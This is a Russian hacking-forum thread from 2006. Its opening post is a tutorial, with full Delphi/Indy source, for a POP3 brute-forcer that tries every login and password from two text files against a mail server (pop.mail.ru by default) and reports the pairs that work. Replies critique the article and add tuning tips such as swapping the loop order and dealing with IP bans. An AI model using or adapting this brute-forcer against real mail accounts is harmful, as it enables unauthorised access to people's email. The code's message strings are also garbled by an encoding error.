ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

(Статья) Свой брут для почты
  #1  
Старый 02.07.2006, 17:40
Paranoik
Познающий
Регистрация: 23.06.2006
Сообщений: 33
Провел на форуме:
294206

Репутация: 42
Отправить сообщение для Paranoik с помощью ICQ
По умолчанию (Статья) Свой брут для почты

Простой перебор – глупейшее занятие, отнимающее много времени, но иногда по другому просто не как. Поэтому я и решил написать статейку, на примере взломщика почтовых ящиков, брута. Работу с почтовым ящиком построим на основе библиотеки Indy. Я буду работать в Delphi 7, где библиотека Indy является уже встроенной, так же как и для Delphi 6, а для более старых версии ее придется установить отдельно.

И так, приступим. Зайдите в делфу и уже на готовую пустую форму киньте четыре компонента TLabel. В свойство Caption каждого TLabel’а впишите: для первого – ‘Файл с логинами’, для второго – ‘Файл с паролями’, для третьего – ‘Адрес сервера’ и для четвертого – ‘Порт’. Теперь бросьте на форму четыре компонента TEdit. В свойстве Text каждого из них пишем: для первого – ‘logins.txt’, для второго – ‘passwords.txt’, для третьего – ‘pop.mail.ru’ и для четвертого – ‘110’. Теперь бросьте на форму кнопку, в которой свойство Caption измените на ‘Начать!’ и самое главное IdPOP31 с вкладки Indy Clients – компонент для работы по протоколу POP3.

Для большей солидарности можно бросить на форму еще и IdAntiFreeze с вкладки Indy Misc. Это компонент, который следит за тем, чтобы программа не зависала в ожидании ответа при работе с портом.

Теперь расположите все элементы которые мы поместили на форму, как вашей душе угодно. Скажу только одно, каждый Lable, тобишь 1,2,3… соответствует компонентам Edit, а точнее Label1 где Caption = Файл с логинами соответствует Edit1, так как именно в Edit1 будет указываться имя файла с логинами, ну и так далее… Надеюсь поймете.

У меня получилось вот так:
(рис. 1)

Теперь начинаем писать программный код. Создадим обработчик события OnClick для кнопки которую мы бросили на форму и повесим на него следующий код:

procedure TForm1.Button2Click(Sender: TObject);
var
LoginStrings, PassStrings: TStrings;
i, j: Integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
LoginStrings.LoadFromFile(Edit1.Text);
PassStrings.LoadFromFile(Edit2.Text);
IdPOP31.Host := Edit3.Text;
IdPOP31.Port := StrToInt(Edit4.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
IdPOP31.Username := LoginStrings.Strings[i];
IdPOP31.Password := PassStrings.Strings[j];
try
IdPOP31.Connect;
except
end;
if IdPOP31.Connected then
begin
Application.MessageBox(PChar('Èìÿ:'+LoginStrings.S trings[i]+' Ïàðîëü:'+PassStrings.Strings[j]), 'Ïàðîëü íàéäåí!');
IdPOP31.Disconnect;
end;
end;
LoginStrings.Free;
PassStrings.Free;
end;


Ну вот практически и все. Комментировать весь программный код я не буду, так как хз, неохота уже.

Теперь откомпилируйте проект, сохраните его куда нить в отдельную папку. И в этой же папке с ексешником нашей программы создайте два текстовых файла. Один под названием, как вы уже догадываетесь logins.txt, а второй passwords.txt соответственно. Теперь забейте их, логинс – Никами, а пас – паролями, сохраните.

Вот теперь все! Можете запускать свой почтовый Брут и тестировать его.
 
Ответить с цитированием

  #2  
Старый 02.07.2006, 17:44
Paranoik
Познающий
Регистрация: 23.06.2006
Сообщений: 33
Провел на форуме:
294206

Репутация: 42
Отправить сообщение для Paranoik с помощью ICQ
Talking

Совсем забыл (рис. 1)


И сам исходник проги...
Качаем сдесь...

==========
С уважением Кирилл
 
Ответить с цитированием

  #3  
Старый 02.07.2006, 20:00
Utochka
Постоянный
Регистрация: 21.12.2005
Сообщений: 620
Провел на форуме:
1867718

Репутация: 268


По умолчанию

я бы сказал, что это даже не статья )) конечно молодец что старался писал. Для новичков пойдет. Да и в инете полным полно таких вот мануалов.
 
Ответить с цитированием

  #4  
Старый 02.07.2006, 21:07
Paranoik
Познающий
Регистрация: 23.06.2006
Сообщений: 33
Провел на форуме:
294206

Репутация: 42
Отправить сообщение для Paranoik с помощью ICQ
Red face

Но все таки... сам ведь написал)))
 
Ответить с цитированием

  #5  
Старый 03.07.2006, 01:10
bxN5
Постоянный
Регистрация: 08.01.2006
Сообщений: 865
Провел на форуме:
3279330

Репутация: 343


Отправить сообщение для bxN5 с помощью ICQ
По умолчанию

Можно самому писать много глупостей! Но статья не плохая...
 
Ответить с цитированием

  #6  
Старый 03.07.2006, 12:50
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

плохая статья. больше похоже на вырезку из чудо-книги "Delphi глазами хакера". на месте автора я бы лучше поэксперементировал с нормальным брутом через библеотеку винсокс (все-таки быстрее и понятнее как работает) и посмотрел бы как там бан по ип осуществляется... возможно расмотрел бы брут через веб-интерфейс.
 
Ответить с цитированием

  #7  
Старый 03.07.2006, 14:07
fucker"ok
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
Провел на форуме:
2487541

Репутация: 761


По умолчанию

Как и в прошлой статье автора "(Статья) Пишем флуд для чата http://chat.scn.ru/" могу только повтарится...
Цитата:
Сообщение от fucker"ok  
Не понимаю такую статью в принципе. Она для кого? Для эникеев, которые на форму что-то перетащили, куски кода переписали и уже могут сказать "я это сделал сам!".

Ну давайте по поводу каждой программы писать такие же статьи... Или ещё круче: снимим видео "как я писал эту программу".

ЗЫ
Автор, достаточно было просто кинуть исходники.
Твоя статья похожа на кулинарный рецепт, типа : два яйца бросим сюда, лучёк туда, получем амлет!
В нашем деле так нельзя "ты мне мясо! Мясо дай!". Создаётся мнение, что ты сам не понимаешь "как это работает".
Если уж ты пишишь статью, то хоть какие-то основные строки кода должен объяснить.

То что ты написал это сам, своими руками, возможно даже додумался до этого сам (узнав про компоненты), не означает, что это нельзя назвать "баяном". т.к. подобных статей, исходников в инете НАВАЛОМ!
Да и брут работать не будет, потому-что при большом кол-ве попыток угадать пас, тебя просто забанят.
В прошлый раз я не стал ставить минус, т.к. дейсвительно новичёк (да и там код по труднее), но думал похожего не будет...

Цитата:
Для новичков пойдет
Мне кажется, такого рода поощрения плохо сказываются на ачате, ибо таких статей может стать из-за этого больше.

Последний раз редактировалось fucker"ok; 03.07.2006 в 14:18..
 
Ответить с цитированием

  #8  
Старый 04.07.2006, 13:24
Rabid Rabbit
Участник форума
Регистрация: 31.08.2003
Сообщений: 177
Провел на форуме:
249275

Репутация: 22
По умолчанию

Paranoik, если ты брутишь список логинов и словарь пассов к ним то разумнее было бы во внешнем цикле перебирать пассы а логины во внутреннем.

ZaCo, ну вот возьми и поэксперементируй с нормальным брутом через библеотеку винсокс и посмотри как там бан по ип осуществляется а мы почитаем твои "умнячие" статьи.
 
Ответить с цитированием

  #9  
Старый 04.07.2006, 13:29
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

2Rabid Rabbit тут даже таймаут поставить нельзя
 
Ответить с цитированием

  #10  
Старый 04.07.2006, 14:23
n0th1ng
Новичок
Регистрация: 27.06.2006
Сообщений: 12
Провел на форуме:
71947

Репутация: -1
Отправить сообщение для n0th1ng с помощью ICQ
По умолчанию

да стастья неплохая не устал писать
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Создание сети: обжимка проводов petrovich-lamer Windows 13 02.07.2007 13:18
Софт для мобильных телефонов под *nix Grrl Сотовый фрикинг 2 02.03.2007 01:47
Статья: Атака на Wi-Fi silveran Аппаратное обеспечение 1 15.04.2006 16:27
какОй трой ИСпоЛЬзоваТЬ длЯ поЛНого УПРАвЛЕиЕ уд.КОМПОМ? UnKn0wN E-Mail 32 08.04.2006 04:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ